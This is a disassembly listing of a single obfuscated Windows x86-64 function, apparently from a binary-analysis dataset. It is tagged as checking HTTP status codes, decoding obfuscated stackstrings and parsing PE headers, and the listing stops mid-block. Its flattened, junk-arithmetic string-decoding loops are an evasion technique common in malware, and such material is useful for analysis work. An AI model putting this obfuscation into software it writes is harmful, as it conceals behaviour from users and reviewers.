Function at 0x140167950
Capabilities:
Check http status code
Contain obfuscated stackstrings
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], r8
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x7e0]
sub rsp, 0x8e0
mov r13, rcx
mov r12, rdx
lea rcx, [rbp + 0xc0]
call fcn.140135f90
lea rcx, [rbp + 0xc0]
call fcn.140135980
lea rcx, [rbp + 0x80]
call fcn.140135f90
lea rcx, [rbp + 0x80]
call fcn.140135980
lea rcx, [rbp + 0xa0]
call fcn.140135f90
lea rcx, [rbp + 0xa0]
call fcn.140135980
lea rcx, [rbp + 0x60]
call fcn.140135f90
lea rcx, [rbp + 0x60]
call fcn.140135980
mov r15, 0xffffffffffffffff
lea rdx, [0x140492f24]
xor r8d, r8d
mov dword [rsp + 0x6c], r15d
mov rcx, r12
call fcn.140150940
mov rbx, rax
cmp rax, r15
je 0x140167b1a
lea rax, [rbp + 0x838]
mov r9, rbx
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, r12
lea rcx, [rbp + 0x1b0]
call fcn.140149b70
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0xc0]
call fcn.140135450
lea rcx, [rbp + 0x1b0]
call fcn.1401358f0
add rbx, 3
lea rdx, [0x140492be0]
mov r8, rbx
mov rcx, r12
call fcn.140150940
mov rdi, rax
mov r8, rbx
mov rdx, r12
cmp rax, r15
je 0x140167add
mov r9, rax
lea rcx, [rbp + 0x1d0]
lea rax, [rsp + 0x65]
sub r9, rbx
mov qword [rsp + 0x20], rax
call fcn.140149b70
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x80]
call fcn.140135450
lea rcx, [rbp + 0x1d0]
call fcn.1401358f0
lea rax, [rsp + 0x66]
mov r9, r15
mov r8, rdi
mov qword [rsp + 0x20], rax
mov rdx, r12
lea rcx, [rbp + 0x1f0]
call fcn.140149b70
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x60]
call fcn.140135450
lea rcx, [rbp + 0x1f0]
call fcn.1401358f0
jmp 0x140167bea
lea rax, [rsp + 0x67]
mov r9, r15
lea rcx, [rbp + 0x210]
mov qword [rsp + 0x20], rax
call fcn.140149b70
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x80]
call fcn.140135450
lea rcx, [rbp + 0x210]
call fcn.1401358f0
jmp 0x140167bd4
mov r8d, 4
lea rdx, str.http
lea rcx, [rbp + 0xc0]
call fcn.140135a30
xor r8d, r8d
lea rdx, [0x140492be0]
mov rcx, r12
call fcn.140150940
mov rbx, rax
mov rdx, r12
cmp rax, r15
je 0x140167bc8
lea rax, [rsp + 0x68]
mov r9, rbx
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x230]
call fcn.140149b70
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x80]
call fcn.140135450
lea rcx, [rbp + 0x230]
call fcn.1401358f0
lea rax, [rsp + 0x69]
mov r9, r15
mov r8, rbx
mov qword [rsp + 0x20], rax
mov rdx, r12
lea rcx, [rbp + 0x250]
call fcn.140149b70
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x60]
call fcn.140135450
lea rcx, [rbp + 0x250]
call fcn.1401358f0
jmp 0x140167bea
lea rcx, [rbp + 0x80]
call fcn.14016e020
mov r8d, 1
lea rdx, [0x140492be0]
lea rcx, [rbp + 0x60]
call fcn.140135a30
lea r8, [rsp + 0x6c]
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x80]
call fcn.140162ed0
movzx r11d, byte [rbp + 0x838]
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp + 0x21], rax
movups xmmword [rbp + 0x11], xmm0
mov byte [rbp + 0x29], al
movabs r14, 0x7f4806cde2c3c447
mov dword [rbp + 0xb], 0x330c0d3e
mov word [rbp + 0xf], 0x9d0f
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14051e4d0]
mov r9, qword [0x14051e4d8]
nop
xor ebx, ebx
movabs rsi, 0xe17d55a847c02deb
movabs rdi, 0x2a6d5799f641416d
movabs rax, 0xa47800f8d74089c1
cmp rbx, 0x1f
jae 0x140168484
movzx r10d, byte [rbp + rbx + 0xb]
mov edx, r10d
cmp r8, rbx
ja 0x14016847b
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x140167cad
lea r11, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
sub r11b, al
sub r11b, 0x6d
add r11b, r10b
jmp 0x140167ce7
je 0x140168430
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401683be
lea rax, [r9 + 5]
cmp r8, rax
je 0x140168391
lea rax, [r9 + 4]
cmp r8, rax
je 0x14016834c
lea rax, [rcx + 1]
cmp r8, rax
je 0x140168329
cmp r9, rbx
ja 0x140168472
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x140167d10
lea rcx, [rbx + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0xf
jmp 0x140167d43
lea rax, [r9 + 1]
cmp r8, rax
je 0x1401682db
inc rax
cmp r8, rax
je 0x1401682bb
lea rax, [r9 + 5]
cmp r8, rax
je 0x140168291
lea rax, [r9 + 7]
cmp r8, rax
je 0x140168277
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140167f30
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140167f0d
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140167ee5
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140167ebb
lea rax, [r9 + 8]
cmp r8, rax
je 0x140167d50
mov r8, rax
lea r9, [rax + 8]
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140168458
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140167dec
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140167e75
mov r8, rax
lea r9, [rax + 0x42]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140167e48
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140167e29
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140167e06
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140167d50
mov r8, rax
lea r9, [rax + 0x28]
jmp 0x140167d50
lea ecx, [rbx - 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x55
jmp 0x140167ce7
lea edx, [rbx - 0x4a]
mov ecx, 3
movzx eax, dl
movzx r14d, bl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140168366
lea edx, [rbx + 0x5e]
mov ecx, reloc.WS2_32.dll_getservbyname
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1401683f6
lea edx, [rbx - 0x78]
mov ecx, 0x24
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + rbx + 0xb]
add rax, r9
add rbx, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc rbx
jmp 0x140167c52
lea r11d, [rbx + 0x1b]
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x43
add r11b, r10b
cmp r9, 0xa
jb 0x140168226
mov edx, 9
movzx r14d, bl
lea ecx, [r14 - 0x5e]
movzx eax, cl
and al, r10b
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea r11d, [rdx + rdx]
jmp 0x1401682f5
lea ecx, [rbx + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
mov rcx, r15
sub r11b, 0x18
movzx eax, r11b
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140167c52
lea edx, [rbx - 0x30]
mov ecx, 0x28
movzx eax, dl
inc r9
and al, r10b
dec rbx
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc rbx
jmp 0x140167c52
lea edx, [rbx - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
movzx eax, dl
movzx r14d, bl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1401682f5
lea rax, [r9 + 6]
cmp r8, rax
jae 0x140167fb3
lea r11d, [rbx - 0x15]
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x6d
add r11b, r10b
lea rax, [r9 + r8]
cmp rax, 4
je 0x140168259
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x14016806b
lea ecx, [rbx - 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 7
cmp r8, 0x20
jae 0x140168233
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x140168146
lea edx, [rbx + 0x46]
mov ecx, reloc.WS2_32.dll_inet_addr
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x140167e89
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140167fe9
lea edx, [rbx - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + rbx + 0xb]
add rax, r9
add rbx, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc rbx
jmp 0x140167c52
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140168011
lea edx, [rbx + 0x3a]
mov ecx, getservbyname
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1401683d3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140168039
movzx r14d, bl
lea ecx, [r14 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x24
jmp 0x140168366
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140167f50
lea edx, [rbx - 0x6e]
mov ecx, 1
movzx eax, dl
dec rbx
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc rbx
jmp 0x140167c52
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140168093
movzx r14d, bl
lea ecx, [r14 - 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x2d
jmp 0x1401682f5
inc rax
cmp r8, rax
jne 0x1401680bb
lea ecx, [rbx - 0x7f]
dec rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x79
inc rbx
jmp 0x140167c52
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401680ee
lea ecx, [rbx + 3]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
mov rcx, r15
sub r11b, 0x15
movzx eax, r11b
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140167c52
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140168111
lea ecx, [rbx - 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x11
jmp 0x1401683d3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140167f80
lea ecx, [rbx - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx + 0xb]
add rax, r9
add rbx, rax
lea r11d, [r10 + rcx]
add r11b, 0x5d
inc rbx
jmp 0x140167c52
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14016817c
lea edx, [rbx + 0x1c]
mov ecx, 0x1e
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + rbx + 0xb]
add rax, r9
add rbx, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc rbx
jmp 0x140167c52
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016819f
lea ecx, [rbx - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
jmp 0x1401683d3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401681c7
movzx r14d, bl
lea ecx, [r14 + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 6
jmp 0x140168366
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1401681f5
lea edx, [rbx + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, dl
dec rbx
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc rbx
jmp 0x140167c52
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140167e8c
mov ecx, getservbyname
movzx r14d, bl
lea edx, [r14 - 0x34]
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1401682f5
mov byte [rbp + rbx + 0xb], r11b
inc rbx
jmp 0x140167c52
movzx r14d, bl
movzx r11d, r10b
lea edx, [r14 + 0x78]
movzx eax, dl
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x48
add r11b, dl
add r11b, r10b
jmp 0x140168366
lea ecx, [rbx + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xb]
lea r11d, [r10 + rcx]
sub r11b, 0x22
jmp 0x1401683d3
lea ecx, [rbx + 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x19
jmp 0x1401683d3
lea ecx, [rbx + 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
mov rcx, r15
sub r11b, 0xd
movzx eax, r11b
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140167c52
lea ecx, [rbx - 0x37]
dec rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7f
inc rbx
jmp 0x140167c52
movzx r14d, bl
lea ecx, [r14 + 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x35
sub r14b, 0x73
inc r9
movzx eax, r14b
and al, r10b
add al, al
sub r14b, al
add r14b, 0x25
add r14b, r10b
mov byte [rbp + rbx + 0xb], r14b
dec rbx
inc rbx
movabs r14, 0x7f4806cde2c3c447
jmp 0x140167c52
lea ecx, [rbx - 0x65]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3d
inc r9
dec rbx
inc rbx
jmp 0x140167c52
movzx r14d, bl
lea ecx, [r14 - 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x77
add r14b, 0x63
movzx eax, r14b
and al, r10b
add al, al
sub r14b, al
add r14b, 0x4b
add r14b, r10b
add r14b, r11b
mov byte [rbp + rbx + 0xb], r14b
movabs r14, 0x7f4806cde2c3c447
jmp 0x1401683a6
lea ecx, [rbx + 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x51
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140167c52
lea rcx, [rbx + rdi]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 5
lea ecx, [rbx + 0x39]
inc r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x71
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0xb], al
add rax, r9
sub rbx, rax
lea edx, [rbx + 0x24]
inc r8
movzx eax, dl
mov ecx, 2
and al, r10b
sub cl, al
mov rax, r15
sub rax, r8
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0xb], cl
add rbx, rax
movzx eax, byte [rbp + rbx + 0xb]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140167c52
lea rcx, [rbx + rax]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x47
movzx eax, byte [rbp + rbx + 0xb]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140167c52
add bl, 0x41
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
add r11b, 0x39
jmp 0x140167c31
lea rdx, [rbp + 0x15ed9ef]
jmp 0x140168488
lea rdx, [rbp + 0x15f07da]
jmp 0x140168488
lea rdx, [rbp + 0xb]
lea rcx, [rbp + 0xc0]
call fcn.14016f760
lea rdx, [rbp + 0xa0]
test al, al
je 0x14016a8ed
cmp dword [rsp + 0x6c], r15d
lea rcx, [rbp + 0x310]
mov r8d, 0x1bb
cmovne r8d, dword [rsp + 0x6c]
call fcn.140160c60
movzx edx, byte [rbp + 0x838]
xor eax, eax
mov dword [rsp + 0x3b], eax
movabs rsi, 0xddc32094ef4adbb9
mov word [rsp + 0x3f], ax
movabs r14, 0x994961becde0932b
mov byte [rbp + 0x718], 0
mov dword [rsp + 0x30], 0x3dcf38dd
mov dword [rsp + 0x34], 0xb4c9ee81
mov word [rsp + 0x38], 0x41bc
mov byte [rsp + 0x3a], 0xcc
nop dword [rax]
mov r8, qword [0x14051e4d0]
mov r9, qword [0x14051e4d8]
nop
xor r11d, r11d
cmp r11, 0x11
jae 0x140168f08
movzx r10d, byte [rsp + r11 + 0x30]
mov rbx, r10
cmp r8, r11
ja 0x140168eff
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14016855c
lea rdx, [r11 + rsi]
movzx eax, dl
and al, bl
add al, al
sub dl, al
sub dl, 0xf
add dl, bl
jmp 0x140168590
je 0x140168e97
lea rax, [r9 + 4]
cmp r8, rax
je 0x140168e6a
lea rax, [r9 + 3]
cmp r8, rax
je 0x140168e1f
lea rax, [r9 + 2]
cmp r8, rax
je 0x140168dfe
nop dword [rax]
cmp r9, r11
ja 0x140168ef6
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1401685b9
lea ecx, [r11 + 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x3b
jmp 0x140168600
lea rax, [r9 + 1]
cmp r8, rax
je 0x140168dbe
inc rax
cmp r8, rax
je 0x140168d9a
lea rax, [r9 + 3]
cmp r8, rax
je 0x140168d79
lea rax, [r9 + 4]
cmp r8, rax
je 0x140168d4c
lea rax, [r9 + 5]
cmp r8, rax
je 0x140168d22
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x140168a35
nop dword [rax]
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140168a1f
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1401689f9
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1401689d6
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1401689b8
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140168989
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14016895f
lea rcx, [r9 + 0x2a]
cmp r8, rcx
je 0x140168945
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140168610
lea r9, [rcx + 0x28]
mov r8, rcx
lea rax, [r9 + 0x5a]
cmp rcx, rax
jb 0x140168eda
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x140168ebe
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x140168778
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x14016875c
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x140168740
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x1401688f9
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x140168886
mov r8, rax
lea r9, [rax + 0x28]
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14016885a
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14016883e
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140168824
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1401687fa
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1401687cd
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1401687b7
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140168794
mov r8, rax
lea r9, [rax + 0x61]
jmp 0x140168610
lea edx, [r11 + 0x73]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 0x25
sub cl, al
add dl, cl
jmp 0x140168600
lea edx, [r11 + 1]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 7
sub cl, al
add dl, cl
jmp 0x140168590
lea edx, [r11 - 0x71]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
add dl, 0x17
sub cl, al
add dl, cl
jmp 0x140168533
lea edx, [r11 - 0x7c]
movzx eax, r10b
and al, dl
mov ecx, gethostbyaddr
sub cl, al
dec r11
add cl, cl
add cl, r10b
add dl, cl
inc r11
jmp 0x140168523
lea edx, [r11 + 0x12]
movzx eax, r10b
and al, dl
movzx ebx, r11b
sub dl, 0x7e
jmp 0x140168e2f
lea ecx, [r11 - 0x60]
movzx eax, r10b
and al, cl
add r8, r9
add al, al
sub r10b, al
lea edx, [rcx + r10]
mov rcx, r15
sub dl, 0x60
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140168523
lea ecx, [r11 + 0x2e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
mov rcx, r15
sub dl, 0x42
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140168523
lea edx, [r11 - 0x44]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0x24
jmp 0x140168cc2
lea edx, [r11 + 0x4a]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 6
sub cl, al
add dl, cl
jmp 0x140168ce9
lea edx, [r11 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
movzx eax, byte [rsp + r11 + 0x30]
add cl, cl
add rax, r9
add cl, r10b
add r11, rax
add dl, cl
inc r11
jmp 0x140168523
lea edx, [r11 + 0x57]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0x61
add dl, cl
cmp r8, 0x28
jae 0x140168c84
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x140168bba
lea edx, [r11 + 0x42]
movzx eax, r10b
and al, dl
mov ecx, 0x19
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
cmp r9, 0x28
jb 0x140168c77
mov ecx, 3
movzx ebx, r11b
movzx eax, r10b
lea edx, [rbx - 0x4a]
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x140168dd8
lea edx, [r11 - 0x1b]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0x43
add dl, cl
lea rax, [r8 + r9]
cmp rax, 0x28
je 0x140168ca8
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x140168af8
lea edx, [r11 + 0x15]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
add dl, 0x6d
jmp 0x14016889b
lea edx, [r11 + 0x2a]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0x26
jmp 0x140168cc2
lea ecx, [r11 - 0x48]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
mov rcx, r15
sub dl, 8
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140168523
lea edx, [r11 + 0x46]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_addr
sub cl, al
add r8, r9
add cl, cl
add cl, r10b
add dl, cl
mov rcx, r15
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140168523
movzx ebx, r11b
movzx eax, r10b
mov ecx, 0x1a
lea edx, [rbx - 0x2c]
and al, dl
sub cl, al
add cl, cl
add cl, r10b
jmp 0x140168e37
lea edx, [r11 + 0x62]
movzx eax, r10b
and al, dl
mov ecx, 0x29
sub cl, al
dec r11
add cl, cl
add cl, r10b
add dl, cl
inc r11
jmp 0x140168523
lea edx, [r11 - 0x10]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
inc r9
add cl, cl
dec r11
add cl, r10b
add dl, cl
inc r11
jmp 0x140168523
lea edx, [r11 + 0x7e]
movzx eax, r10b
and al, dl
movzx ebx, r11b
sub dl, 0x72
jmp 0x140168dce
lea rcx, [r9 + 2]
cmp r8, rcx
jae 0x140168a58
lea edx, [r11 - 0x47]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0xf
jmp 0x14016890e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140168a8b
lea ecx, [r11 + 0x5a]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rsp + r11 + 0x30]
add rax, r9
add r11, rax
lea edx, [rcx + r10]
sub dl, 0x76
inc r11
jmp 0x140168523
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140168ac0
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
mov rcx, r15
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140168523
cmp r8, rcx
jne 0x140168910
lea edx, [r11 + 0x22]
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
add r8, r9
add cl, cl
add cl, r10b
add dl, cl
mov rcx, r15
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140168523
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140168b16
movzx ebx, r11b
movzx eax, r10b
lea edx, [rbx - 0x79]
and al, dl
add dl, 0x4f
jmp 0x140168dce
inc rax
cmp r8, rax
jne 0x140168b3f
lea ecx, [r11 + 0x6b]
movzx eax, r10b
and al, cl
dec r11
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x13
inc r11
jmp 0x140168523
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140168b5d
movzx ebx, r11b
movzx eax, r10b
lea edx, [rbx - 0x23]
and al, dl
sub dl, 0xb
jmp 0x140168e2f
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140168b93
lea ecx, [r11 + 0x4f]
movzx eax, r10b
and al, cl
add r8, r9
add al, al
sub r10b, al
lea edx, [rcx + r10]
mov rcx, r15
sub dl, 0x29
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140168523
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14016889d
lea edx, [r11 + 0x33]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0x65
jmp 0x140168cc2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140168bef
lea edx, [r11 - 0x4c]
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
movzx eax, byte [rsp + r11 + 0x30]
add cl, cl
add rax, r9
add cl, r10b
add r11, rax
add dl, cl
inc r11
jmp 0x140168523
inc rax
cmp r8, rax
jne 0x140168c11
lea edx, [r11 - 0x68]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0x28
jmp 0x140168cc2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140168c47
lea ecx, [r11 + 0x7c]
movzx eax, r10b
and al, cl
add r8, r9
add al, al
sub r10b, al
lea edx, [rcx + r10]
mov rcx, r15
sub dl, 0x64
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140168523
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1401688cc
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
mov ecx, gethostbyaddr
sub cl, al
dec r11
add cl, cl
add cl, r10b
add dl, cl
inc r11
jmp 0x140168523
mov byte [rsp + r11 + 0x30], dl
inc r11
jmp 0x140168523
movzx ecx, byte [rsp + r11 + 0x30]
movzx ebx, r11b
movzx eax, r10b
lea edx, [rbx + 0x28]
and al, dl
sub dl, 0x18
add al, al
sub cl, al
add dl, cl
add dl, r10b
jmp 0x140168e39
lea edx, [r11 - 0x66]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub cl, byte [rsp + r11 + 0x30]
sub dl, 0x36
add dl, cl
lea ecx, [r11 + 0x53]
inc r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x45
add cl, r10b
movzx eax, cl
mov byte [rsp + r11 + 0x30], al
add rax, r9
sub r11, rax
lea ecx, [r11 + 0xc]
inc r8
movzx eax, cl
and al, r10b
add al, al
sub cl, al
mov rax, r15
sub rax, r8
sub cl, 0x54
add cl, r10b
mov byte [rsp + r11 + 0x30], cl
add r11, rax
movzx eax, byte [rsp + r11 + 0x30]
add rax, r9
add r11, rax
inc r11
jmp 0x140168523
lea ecx, [r11 - 0x27]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
mov rcx, r15
add dl, 0x11
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140168523
lea ecx, [r11 + 0x67]
movzx eax, r10b
and al, cl
add r8, r9
add al, al
sub r10b, al
lea edx, [rcx + r10]
mov rcx, r15
add dl, 0x2f
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140168523
lea ecx, [r11 - 0x7d]
movzx eax, r10b
and al, cl
dec r11
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x6b
